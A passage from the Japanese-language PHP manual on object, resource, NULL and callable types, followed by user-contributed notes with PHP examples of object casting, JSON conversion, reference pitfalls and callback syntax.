var_dump(key($obj)); // PHP 7.2.0 以降は 'string(1) "1"' それより前は 'int(1)'
?>

上記以外の値の場合には、scalar という名前のメンバ変数が値を格納します。

<?php
$obj = (object) 'ciao';
echo $obj->scalar;  // 'ciao' を出力します
?>

User Contributed Notes

uchephilz 15-Jul-2020 02:30
**Shorthand**

`$object = json_decode(json_encode($array));`

Or

`$jsonString = json_encode($array);
$object = json_decode($jsonString);`
Luis 02-Apr-2018 09:17
another way to instantiate an empty generic php object:

<?php $dataObj = json_decode('{}'); ?>
dr dot mustafa dot darwish at gmail dot com 25-Mar-2018 12:14
in php 7.2 this code works despite documentation said it gives false

<?php
$obj = (object) array('1' => 'foo');

//output foo
echo $obj->{'1'};

?>
aditycse at gmail dot com 10-Nov-2017 04:00
<?php

/**
 * Used for checking empty objects/array
 * @uses How to check empty objects and array in php code
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */

/**
 * Empty class
 */
class EmptyClass {

}

$obj = new stdClass();
//or any other class empty object
$emptyClassObj = new EmptyClass();
$array = array();

if (empty($array)) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (empty($obj)) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}
echo "<br>";

if (empty($emptyClassObj)) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}
echo "<br>";

//Result SET 1
//array is empty      => expected result
//object is not empty => ouch what happened
//EmptyClass is not empty => ouch what happened

/**
 * So what we do for checking empty object
 * @solution use any known property or check property count
 * Or you can use below method
 * Count function will not return 0 in empty object
 */

//Below line print "Object count:1"
echo 'Object count:' . count($obj);

echo "<br>";

/**
 * This function is used to get object item counts
 * @function getCount
 * @access public
 * @param object|array $var
 * @return integer
 */
function getCount($var) {
    $count = 0;
    if (is_array($var) || is_object($var)) {
        foreach ($var as $value) {
            $count++;
        }
    }
    unset($value);
    return $count;
}

//Running code again with new logic
if (getCount($array) === 0) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (getCount($obj) === 0) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}

echo "<br>";

if (getCount($emptyClassObj) === 0) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}

//Result SET 2
//array is empty    => expected result  ##everything is all right
//object is empty   => expected result  ##everything is all right
//EmptyClass is empty   => expected result  ##everything is all right
brian dot weber1337 at gmail dot com 02-Feb-2017 10:24
In PHP 5+, objects are passed by reference. This has got me into trouble in the past when I've tried to make arrays of objects.
For example, I once wrote something like the following code, thinking that I'd get an array of distinct objects. However, this is wrong. This code will create an array of multiple references to the same object.

<?php
  class myNumber
  {
    public $value;
  }

  $arrayOfMyNumbers = array();
  $arrayItem = new myNumber();
  for( $i = 0; $i<3; $i++ ) {
    $arrayItem->value = $i;
    $arrayOfMyNumbers[] = $arrayItem;
  }

  var_dump($arrayOfMyNumbers);
?>

output:
array(3) {
  [0]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
  [1]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
  [2]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(4)
  }
}

notice that the value at each index in the array is the same. That is because the array is just 3 references to the same object, but we change the property of this object every time the for loop runs. This isn't very useful. Instead, I've changed the code below so that it will create an array with three distinct references to three distinct objects. (if you're having a hard time understanding references, think of this as an array of objects, and that this is just the syntax you have to use.)

<?php
  class myNumber
  {
    public $value;
  }

  $arrayOfMyNumbers = array();
  for( $i = 0; $i<3; $i++ ) {
    $arrayItem = new myNumber();
    $arrayItem->value = $i;
    $arrayOfMyNumbers[] = $arrayItem;
  }

  var_dump($arrayOfMyNumbers);
?>

output:
array(3) {
  [0]=>
  object(myNumber)#1 (1) {
    ["value"]=>
    int(0)
  }
  [1]=>
  object(myNumber)#2 (1) {
    ["value"]=>
    int(1)
  }
  [2]=>
  object(myNumber)#3 (1) {
    ["value"]=>
    int(2)
  }
}

Notice how the creation of a new object ("$arrayItem = new myNumber();") must happen every time the for loop runs for this to work.
This took me forever to figure out, so I hope this helps someone else.
Walter Tross 20-Jan-2017 04:50
If you need to force json_encode() to produce an object even when an array is empty or does not have successive 0-based numeric indices, you can simply convert the array to an object. JSON_FORCE_OBJECT does the same with ALL arrays, which might not be what you want.

<?php

echo json_encode([[]]), "\n";
// output: [[]]

echo json_encode([[]], JSON_FORCE_OBJECT), "\n";
// output: {"0":{}}

echo json_encode([(object)[]]), "\n";
// output: [{}]

echo json_encode([0=>"a", 1=>"b", 9=>"c"]), "\n";
// output: {"0":"a","1":"b","9":"c"}

echo json_encode([0=>"a", 1=>"b", 2=>"c"]), "\n";
// output: ["a","b","c"]

echo json_encode((object)[0=>"a", 1=>"b", 2=>"c"]), "\n";
// output: {"0":"a","1":"b","2":"c"}
?>
solly dot ucko at google dot com 27-Apr-2016 05:09
To create an object with values, in javascript you would use `{key: value}`. In PHP you use `[key=>value]`.
developer dot amankr at gmail dot com (Aman Kuma) 11-Mar-2016 10:27
<!--Example shows how to convert array to stdClass Object and how to access its value for display -->
<?php
$num = array("Garha","sitamarhi","canada","patna"); //create an array
$obj = (object)$num; //change array to stdClass object

echo "<pre>";
print_r($obj); //stdClass Object created by casting of array

$newobj = new stdClass();//create a new
$newobj->name = "India";
$newobj->work = "Development";
$newobj->address="patna";

$new = (array)$newobj;//convert stdClass to array
echo "<pre>";
print_r($new); //print new object

##How deals with Associative Array

$test = [Details=>['name','roll number','college','mobile'],values=>['Naman Kumar','100790310868','Pune college','9988707202']];
$val = json_decode(json_encode($test),false);//convert array into stdClass object

echo "<pre>";
print_r($val);

echo ((is_array($val) == true ?  1 : 0 ) == 1 ? "array" : "not an array" )."</br>"; // check whether it is array or not
echo ((is_object($val) == true ?  1 : 0 ) == 1 ? "object" : "not an object" );//check whether it is object or not
?>
Anthony 18-Jan-2016 10:36
In PHP 7 there are a few ways to create an empty object:

<?php
$obj1 = new \stdClass; // Instantiate stdClass object
$obj2 = new class{}; // Instantiate anonymous class
$obj3 = (object)[]; // Cast empty array to object

var_dump($obj1); // object(stdClass)#1 (0) {}
var_dump($obj2); // object(class@anonymous)#2 (0) {}
var_dump($obj3); // object(stdClass)#3 (0) {}
?>

$obj1 and $obj3 are the same type, but $obj1 !== $obj3. Also, all three will json_encode() to a simple JS object {}:

<?php
echo json_encode([
    new \stdClass,
    new class{},
    (object)[],
]);
?>

Outputs: [{},{},{}]
twitter/matt2000 21-Apr-2015 09:28
As of PHP 5.4, we can create stdClass objects with some properties and values using the more beautiful form:

<?php
  $object = (object) [
    'propertyOne' => 'foo',
    'propertyTwo' => 42,
  ];
?>
Ashley Dambra 21-Feb-2014 06:38
Here a new updated version of 'stdObject' class. It's very useful when extends to controller on MVC design pattern, user can create it's own class.

Hope it help you.

 <?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                $this->{$property} = $argument;
            }
        }
    }

    public function __call($method, $arguments) {
        $arguments = array_merge(array("stdObject" => $this), $arguments); // Note: method argument 0 will always referred to the main class ($this).
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

// Usage.

$obj = new stdObject();
$obj->name = "Nick";
$obj->surname = "Doe";
$obj->age = 20;
$obj->adresse = null;

$obj->getInfo = function($stdObject) { // $stdObject referred to this object (stdObject).
    echo $stdObject->name . " " . $stdObject->surname . " have " . $stdObject->age . " yrs old. And live in " . $stdObject->adresse;
};

$func = "setAge";
$obj->{$func} = function($stdObject, $age) { // $age is the first parameter passed when calling this method.
    $stdObject->age = $age;
};

$obj->setAge(24); // Parameter value 24 is passing to the $age argument in method 'setAge()'.

// Create dynamic method. Here i'm generating getter and setter dynimically
// Beware: Method name are case sensitive.
foreach ($obj as $func_name => $value) {
    if (!$value instanceOf Closure) {

        $obj->{"set" . ucfirst($func_name)} = function($stdObject, $value) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            $stdObject->{$func_name} = $value;
        };

        $obj->{"get" . ucfirst($func_name)} = function($stdObject) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            return $stdObject->{$func_name};
        };

    }
}

$obj->setName("John");
$obj->setAdresse("Boston");

$obj->getInfo();
?>
Ashley Dambra 19-Feb-2014 06:51
Class like stdClass but with the possibility to add and execute function.

class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                if ($argument instanceOf Closure) {
                    $this->{$property} = $argument;
                } else {
                    $this->{$property} = $argument;
                }
            }
        }
    }

    public function __call($method, $arguments) {
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}
wyattstorch42 at outlook dot com 31-Dec-2013 05:07
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
qeremy [atta] gmail [dotta] com 02-Mar-2012 12:41
Do you remember some JavaScript implementations?

// var timestamp = (new Date).getTime();

Now it's possible with PHP 5.4.*;

<?php
class Foo
{
    public $a = "I'm a!";
    public $b = "I'm b!";
    public $c;

    public function getB() {
        return $this->b;
    }

    public function setC($c) {
        $this->c = $c;
        return $this;
    }

    public function getC() {
        return $this->c;
    }
}

print (new Foo)->a;      // I'm a!
print (new Foo)->getB(); // I'm b!
?>

or

<?php
// $_GET["c"] = "I'm c!";
print (new Foo)
       ->setC($_GET["c"])
       ->getC(); // I'm c!
?>
helpful at stranger dot com 04-Jan-2012 01:15
By far the easiest and correct way to instantiate an empty generic php object that you can then modify for whatever purpose you choose:

<?php $genericObject = new stdClass(); ?>

I had the most difficult time finding this, hopefully it will help someone else!
Cosmitar: mhherrera31 at hotmail 07-Dec-2010 10:47
i would like to share a curious behavior on casted objects. Casting an object from a class with private/protected attributes results a stdClass with a private/protected attribute for get.
Example:
<?PHP
class Foo{
 private $priv = 1;
 public $pub = 2;
 public function getSimple(){
  return (object)(array) $this; //the array cast is to force a stdClass result
 }
}
$bar = new Foo();
var_dump($bar->getSimple();// output: object(stdClass)#3 (2) { ["priv:private"]=> int(1) ["pub"]=> int(2) }

var_dump($bar->getSimple()->priv);// output: NULL, not a Fatal Error
var_dump($bar->getSimple()->pub);// output: int(2)

$barSimple = $bar->getSimple();
$barSimple->priv = 10;
var_dump($barSimple->priv);// output: int(10)

?>
Anonymous 05-Jan-2010 02:10
Initialization, Instantiation and Instances are terms that can be confusing at first. Let's try to sort it out starting with this simple class definition.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now create several INSTANCES of User by INSTANTIATING the User class above.

<?php
$user_1 = new User;        // $user_1 is an INSTANCE of User
$user_2 = new User;        // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';     // User [first='', last='']
echo $user_2 . '<br>';     // User [first='', last='']
?>

Here we have (2) two INSTANCES of User, but each instance was only INSTANTIATED once - when we used the 'new' operator.

And now looking at the printed output, you can see there are no values for their first or last names. This means that the objects themselves have NOT been INITIALIZED. To remedy this situation, rewrite the class definition by adding a __construct() method.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __construct($first, $last)    // Require first and last names when INSTANTIATING
  {
    $this->first_name = $first;                 // INITIALIZE $first_name;
    $this->last_name = $last;                   // INITIALIZE $last_name;
  }

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now try it again.

<?php
$user_1 = new User('John', 'Doe');      // $user_i is an INSTANCE of User
$user_2 = new User('Jane', 'Doe');      // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';                  // prints: User [first='John', last='Doe']
echo $user_2 . '<br>';                  // prints: User [first='Jane', last='Doe']
?>

The __construct() method is called automatically by PHP when it sees the 'new' operator. Our __construct() method above requires the first and last names to be passed in as arguments and uses them to INITIALIZE objects when INSTANTIATING new INSTANCES.
mailto dot aurelian at gmail dot com 18-Dec-2009 09:56
You can create [recursive] objects with something like:
<?php
  $literalObjectDeclared = (object) array(
     'foo' => (object) array(
          'bar' => 'baz',
          'pax' => 'vax'
      ),
      'moo' => 'ui'
   );
print $literalObjectDeclared->foo->bar; // outputs "baz"!
?>
spidgorny at gmail dot com 22-Jul-2009 01:58
If having

class BugDetails extends Bug

you want to cast an object of a Bug to BugDetails like this
<?php
    $clone = (BugDetails) clone $this;
// OR
    $clone = (BugDetails) $bug;
?>
which doesn't work in PHP, you have two options:
1. Copying all (including private) properties manually (you could also use get_object_vars(), but this is shorter):
<?php
    $clone = new BugDetails();
    foreach ($this as $key => $val) {
        $clone->$key = $val;
    }
?>
2. Serialize an object Bug, manipulate the resulting string so that it has BugDetails inside and unserialize it.
See here: http://blog.adaniels.nl/articles/a-dark-corner-of-php-class-casting/

Spent two hours looking for more elegant solution, that's my findings.
cFreed at orange dot fr 22-Apr-2009 06:21
CAUTION:
"Arrays convert to an object with properties named by keys, and corresponding values".

This is ALWAYS true, which means that even numeric keys are accepted when converting.
But the resulting properties cannot be accessed, since they don't match the variables naming rules.

So this:
<?php
$x = (object) array('a'=>'A', 'b'=>'B', 'C');
echo '<pre>'.print_r($x, true).'</pre>';
?>
works and displays:
stdClass Object
(
    [a] => A
    [b] => B
    [0] => C
)

But this:
<?php
echo '<br />'.$x->a;
echo '<br />'.$x->b;
echo '<br />'.$x->{0}; # (don't use $x->0, which is obviously a syntax error)
?>
fails and displays:
A
B
Notice: Undefined property: stdClass::$0 in...
Isaac Z. Schlueter i at foohack dot com 30-Aug-2008 05:31
In response to Harmor and Mithras,  you can use the json functions to convert multi-dimensional arrays to objects very reliably.

Also, note that just using (object)$x doesn't allow you to access properties inline.  For example, this is invalid:

<?php
$x = array("foo"=>"bar");
echo ((object)$x)->foo; // PHP Parse error, unexpected T_OBJECT_OPERATOR
?>

However, this function will let you do that, and will also handle multi-dimensional arrays without any hassle.

<?php
function to_object ($x) {
    return (is_object($x) || is_array($x)) ? json_decode(json_encode($x)) : (object) $x;
}

echo to_object( array("foo"=>"bar") )->foo; // "bar"
?>

Note that *numeric* arrays will not be converted to objects using this method.
Mithras 21-Aug-2008 06:54
In response to harmor: if an array contains another array as a value, you can recursively convert all arrays with:

<?php
function arrayToObject( $array ){
  foreach( $array as $key => $value ){
    if( is_array( $value ) ) $array[ $key ] = arrayToObject( $value );
  }
  return (object) $array;
}
?>
gabe at fijiwebdesign dot com 21-May-2007 09:25
In response to sirbinam.
You cannot call a function or method before it exists. In your example, the global instance of stdout is just being passed around to differnet references (pointers). It however exists in the "dump" function scope via the global keyword.

The code below works fine and illustrates that "stdout" has been defined before its instantiation.

<?php

class profiler{
  function profiler(){
    $this->starttime = microtime();
  }

  function dump(){
    global $stdout;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime;
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$profiler =& new profiler();
$profiler->dump();

?>

All classes and functions declarations within a scope exist even before the php execution reaches them. It does not matter if you have your classes defined on the first or last line, as long as they are in the same scope as where they are called and are not in a conditional statement that has not been evaluated yet.
ludvig dot ericson at gmail dot com 18-Aug-2006 03:35
In reply to the usort thing, you can access a property of an object dynamically by:
<?php
$obj = (object)array("Test" => "bar")
$var = "Test";
echo $obj->$var;
?>
This will output "bar", and do notice I call on ->$var and not just ->var.
Trevor Blackbird > yurab.com 26-Nov-2005 09:33
You can create a new object using the built-in stdClass or by using type-casting:

<?php

// This is the proper way
$object1 = new stdClass();

// This works too
$object2 = (object) NULL;

// This will create an object from an array
$monkey_array = array('title'=>'Spider Monkey', 'src'=>'monkey.jpg');
$monkey_object = (object) $monkey_array;
print $monkey_object->title . ' ' . $monkey_object->src;

// You can type-cast in the middle of an expression
function customHTML($some_object) {
// this function expects an object as the argument and returns some output
}
print '<p>Writing some output ' . customHTML( (object) array('rows'=>3, 'cols'=>4) );

?>
iblun at gmx dot net 09-Mar-2005 05:08
To sort an array, that contains an object, after one fieldname inside the object, im using this function:

function objectSort($objectarray, $field)
{
    for ($a=0;$a < (count($objectarray)); $a++)
    {
        for ($b=0;$b < (count($objectarray)); $b++)
        {
            if ($objectarray[$a]->$field < $objectarray[$b]->$field)
            {
                $temp = $objectarray[$a];
                $objectarray[$a] = $objectarray[$b];
                $objectarray[$b] = $temp;
            }
        }
    }

    return $objectarray;
}
mortoray at ecircle-ag dot com 16-Feb-2005 02:07
If you use new to create items in an array, you may not get the results you want since the parameters to array will be copies of the original and not references.

By Example:
class Store {
    var $item = 3;
}

    $a = array( new Store() );
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 3

    $a = array();
    $a[] =& new Store();
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 2

This is extremely important if you intend on passing arrays of classes to functions and expect them to always use the same object instance!

Note: The following syntax is desired (or maybe even the default notation should translate as this):
   $a = array( &new Store() );
info at keltoi-web dot com 25-Aug-2003 02:26
PHP supports recursive type definitions as far as I've tried. The class below (a _very_ simple tree) is an example:

class Tree {

var $_value = null;
var $_children = array();

function Tree ($value) {
  $this->_value = $value;
}

function addChild ($value) {
  $aux_node = new Tree ($value);
  $this->_children [] = $aux_node;
  return $aux_node;
}
}

As you can see, in addChild we reference Tree again...

However, you must be careful about references. See the chapter "References explained" for more details.

Hope this helps.


リソース

リソース は特別な変数であり、外部リソースへのリファレンスを保持しています。 リソースは、特別な関数により作成され、使用されます。 これらの関数および対応する全ての リソース 型の一覧については、 付録 を参照ください。

get_resource_type() も参照ください。

リソースへの変換

リソース 型は、オープンされたファイル、データベース接続、 イメージキャンバスエリアのような特殊なハンドルを保持するため、 他の値を リソース に変換することはできません。

リソースの開放

Zend エンジンの一部であるリファレンスカウンティングシステムのおかげで、 ある リソース がもう参照されなくなった場合に (Java と全く同様に)、 そのリソースは自動的に削除されます。この場合、このリソースが作成した 全てのリソースは、ガベージコレクタにより開放されます。 このため、free_result 関数を用いて手動でメモリを開放する必要が生じるのはまれです。

注意: 持続的データベース接続は特別で、ガベージコレクタにより破棄されません。 持続的接続 も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


NULL

特別な null 値は、ある変数が値を持たないことを表します。null は、null 型の唯一の値です。

変数は、以下の場合に null とみなされます。

  • 定数 null が代入されている場合。

  • まだ値が何も代入されていない場合。

  • unset() されている場合。

構文

null 型の値は一つだけで、 大文字小文字を区別しない定数 nullです。

<?php
$var = NULL;
?>

is_null() および unset() も参照ください。

null へのキャスト

警告

この機能は PHP 7.2.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

(unset) $var を使って変数を null にキャストすると、 その変数を削除したり値の設定を解除したりはしません。 単に null 値を返すだけです。

User Contributed Notes

Mojo 10-Feb-2021 10:18
Pay attention then using operator -- on NULL values:

$x = null;
--$x;      // $x is NULL
$x--;      // still NULL
$x -= 1;   // $x is -1

On other side for ++ everything works fine:

$x = null;
++$x;      // $ix is 1
Anonymous 11-Jan-2018 07:38
Note: Non Strict Comparison '==' returns bool(true) for

null == 0 <-- returns true

Use Strict Comparison Instead

null === 0 <-- returns false
Hayley Watson 07-Dec-2017 11:07
NULL is supposed to indicate the absence of a value, rather than being thought of as a value itself. It's the empty slot, it's the missing information, it's the unanswered question. It's not a jumped-up zero or empty set.

This is why a variable containing a NULL is considered to be unset: it doesn't have a value. Setting a variable to NULL is telling it to forget its value without providing a replacement value to remember instead. The variable remains so that you can give it a proper value to remember later; this is especially important when the variable is an array element or object property.

It's a bit of semantic awkwardness to speak of a "null value", but if a variable can exist without having a value, the language and implementation have to have something to represent that situation. Because someone will ask. If only to see if the slot has been filled.
quickpick 22-Apr-2011 03:36
Note: empty array is converted to null by non-strict equal '==' comparison. Use is_null() or '===' if there is possible of getting empty array.

$a = array();

$a == null  <== return true
$a === null < == return false
is_null($a) <== return false


コールバック / Callable

コールバックは、callable 型で表されます。

call_user_func() や usort() 等の関数は、ユーザーが定義するコールバック関数を引数として受け入れます。 コールバック関数は、単純な関数だけでなく、オブジェクトのメソッド あるいはクラスの静的メソッドであってもかまいません。

受け渡し

PHP 関数はその名前を単に文字列として渡します。 どのようなビルトインまたはユーザー定義の関数も渡すことができます。 ただし、 array(), echo, empty(), eval(), exit(), isset(), list(), print あるいは unset() といった言語構造はコールバックとしては使えないことに注意しましょう。

オブジェクトのインスタンスを渡すには配列を使います。 配列の 0 番目の要素にオブジェクトを、 そして 1 番目の要素にメソッド名を指定します。 protected メソッドや private メソッドは、クラスの内部からはアクセスできます。

静的なクラスメソッドの場合、オブジェクトのインスタンスは不要です。 0 番目の要素として、オブジェクトのかわりにクラス名を指定します。 'ClassName::methodName' 形式で指定することもできます。

一般的なユーザー定義関数とは異なり、 無名関数 と アロー関数 もパラメータとして渡せます。

一般的には、 __invoke() を実装した任意のオブジェクトもパラメータとして渡せます。

例1 コールバック関数の例

<?php

// コールバック関数の例
function my_callback_function() {
    echo 'hello world!';
}

// コールバックメソッドの例
class MyClass {
    static function myCallbackMethod() {
        echo 'Hello World!';
    }
}

// タイプ 1: 単純なコールバック
call_user_func('my_callback_function');

// タイプ 2: 静的クラスメソッドのコール
call_user_func(array('MyClass', 'myCallbackMethod'));

// タイプ 3: オブジェクトメソッドのコール
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// タイプ 4: 静的クラスメソッドのコール
call_user_func('MyClass::myCallbackMethod');

// タイプ 5: 相対指定による静的クラスメソッドのコール
class A {
    public static function who() {
        echo "A\n";
    }
}

class B extends A {
    public static function who() {
        echo "B\n";
    }
}

call_user_func(array('B', 'parent::who')); // A

// タイプ 6: __invoke を実装したオブジェクトを callable として用いる
class C {
    public function __invoke($name) {
        echo 'Hello ', $name, "\n";
    }
}

$c = new C();
call_user_func($c, 'PHP!');
?>

例2 クロージャを使ったコールバックの例

<?php
// クロージャ
$double = function($a) {
    return $a * 2;
};

// 数値の範囲
$numbers = range(1, 5);

// ここでクロージャをコールバックとして使用し、
// 指定した範囲の各要素の二倍の値を計算します
$new_numbers = array_map($double, $numbers);

print implode(' ', $new_numbers);
?>

上の例の出力は以下となります。

2 4 6 8 10

注意:

call_user_func() や call_user_func_array() で登録されたコールバックは、 前のコールバックからスローされた例外がキャッチされていない場合はコールされません。

User Contributed Notes

gulaschsuppe2 at gmail dot com 21-Jul-2019 01:53
I tried many possible ways of calling functions by function name directly and assigned to a variable on 3v4l. Not mentioned yet, it is possible to use an array as a caller, at least since PHP 7.1.25. The following script contains all the information I gained:

<?php

// Call function via function name:
    // Basics:
        // A function can also be called by using its string name:
        function callbackFunc() {
            echo 'Hello World';
        }

        'callbackFunc'(); // Hello World

        // A function can also be called if its name is assigned to a variable:
            function callbackFunc() {
                echo 'Hello World';
            }

            $funcName = 'callbackFunc';
            $funcName(); // Hello World

    // Static class method:
        // It is also possible to call a public static class method via 'ClassName::functioName' notation:
            class A {
                public static function callbackMethod() {
                    echo "Hello World\n";
                }
            }
            'A::callbackMethod'(); // Hello World

            $funcName = 'A::callbackMethod';
            $funcName(); // Hello World

    // Non static class method:
        // It is also possible to call non static class methods by creating an array which first element is the object the method should be called on and the second element is the non static method to be called. The array can directly be used as a caller:
            class A {
                private $prop = "Hello World\n";

                public function callbackMethod() {
                    echo $this->prop;
                }
            }

            $a = new A;
            [$a, 'callbackMethod']();
            $funcCallArr = [$a, 'callbackMethod'];
            $funcCallArr();

        // Of course this also works inside the class with '$this':
            class A {
                private function privCallback() {
                    echo 'Private';
                }

                public function privCallbackCaller($funcName) {
                    [$this, $funcName]();
                }
            }

            (new A)->privCallbackCaller('privCallback'); // Private

?>
chris dot rutledge at gmail dot com 18-Dec-2018 10:12
Having read this line in the manual above,

"A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed."

I decided to do some testing to see if I could access private methods using the call_user_func methods. Thankfully not, but for completeness here is my test which also covers using static and object contexts

<?php
class foo {

    public static $isInstance = false;

    public function __construct() {
        self::$isInstance = true;
    }

    public function bar() {
        var_dump(self::$isInstance);
        echo __METHOD__;
    }

    private function baz() {
        var_dump(self::$isInstance);
        echo __METHOD__;
    }

    public function qux() {
        $this->baz();
    }

    public function quux() {
        self::baz();
    }
}

call_user_func(['foo','bar']);    //fase, foo:bar

call_user_func(['foo','baz']);  //warning, cannot access private method

call_user_func(['foo','quux']); //false, foo::baz

call_user_func(['foo','qux']);  //fatal, Using $this when not in object context

$foo = new foo;

call_user_func([$foo,'bar']);    //true, foo::bar
call_user_func([$foo,'baz']);    //warning, cannot access private method
call_user_func([$foo,'qux']);    //true, foo::baz

call_user_func(['foo','bar']);  //true, foo::bar (static call, yet $isInstance is true)

?>
Dan J 20-Feb-2018 05:59
You can avoid repeating a long namespace for classes in callable arrays by making use of the "use" operator and the special "::class" constant.

Documentation of use operator:
http://php.net/manual/en/language.namespaces.importing.php

Documentation of ::class constant:
http://php.net/manual/en/language.oop5.constants.php

<?php
// Library file with namespace My\Library\Namespace
require 'MyLibrary.php';

// Alias for SortingClass
use \My\Library\Namespace\SortingClass;

// Callable array referring to SortingClass::SortFunction
$callable = [SortingClass::class, 'SortFunction'];

$values = [3, 1, 2];
usort($values, $callable);
Daniel Klein 13-Sep-2017 07:26
You can use "self::method_name", "static::method_name" and "parent::method_name" in callables:

<?php
class StaticCallable {
    public static function foo($values) {
        return array_map('self::bar', $values);
    }

    public static function bar($value) {
        return "{$value}: 42";
    }

    public static function baz($values) {
        return array_map('static::qux', $values);
    }

    public static function qux($value) {
        return "{$value}: 123";
    }
}

class StaticExtension extends StaticCallable {
    public static function bar($value) {
        return "{$value}: Marvin the Paranoid Android";
    }

    public static function qux($value) {
        return "{$value}: Zaphod Beeblebrox";
    }
}

print_r(StaticCallable::foo([1, 2, 3]));
print_r(StaticExtension::foo([1, 2, 3]));

print_r(StaticCallable::baz([1, 2, 3]));
print_r(StaticExtension::baz([1, 2, 3]));
?>

Results:
Array
(
    [0] => 1: 42
    [1] => 2: 42
    [2] => 3: 42
)
Array
(
    [0] => 1: 42
    [1] => 2: 42
    [2] => 3: 42
)
Array
(
    [0] => 1: 123
    [1] => 2: 123
    [2] => 3: 123
)
Array
(
    [0] => 1: Zaphod Beeblebrox
    [1] => 2: Zaphod Beeblebrox
    [2] => 3: Zaphod Beeblebrox
)

"self::" uses the same class as the called method, "static::" uses the same class as the called class, and "parent::" (not shown) uses the parent class, or generates a warning if there is no parent.
whysteepy at gmail dot com 18-Apr-2017 06:34
Another Appearance of Callbacks! Here is one way of them - methods of an instantiated object can be callable and implemented as variable functions without php's default functions that can call user-defined callback functions.

class Test {
    protected $items = array();

    public function __construct()
    {
        $this->items[] = array($this, 'callBackOne');
        $this->items[] = array($this, 'callBackTwo');
    }

    public function callBackOne()
    {
        echo __METHOD__ . ' has been called as a callback.';
    }

    public function callBackTwo()
    {
        echo __METHOD__ . ' has been called as a callback.';
    }

    public function getItems()
    {
        return $this->items;
    }
}

$o = new Test();
$itemLists = $o->getItems();

foreach ($itemLists as $itemList) {

        // call each one as a variable function
        echo '<pre>';
        print_r($itemList());
        echo '</pre>';
}

// Outputs the following
// Test::callBackOne has been called as a callback.

// Test::callBackTwo has been called as a callback.
bradyn at NOSPAM dot bradynpoulsen dot com 14-Apr-2016 01:22
When trying to make a callable from a function name located in a namespace, you MUST give the fully qualified function name (regardless of the current namespace or use statements).

<?php

namespace MyNamespace;

function doSomethingFancy($arg1)
{
    // do something...
}

$values = [1, 2, 3];

array_map('doSomethingFancy', $values);
// array_map() expects parameter 1 to be a valid callback, function 'doSomethingFancy' not found or invalid function name

array_map('MyNamespace\doSomethingFancy', $values);
// => [..., ..., ...]
pawel dot tadeusz dot niedzielski at gmail dot com 12-Apr-2016 02:11
@edanschwartz at gmail dot com

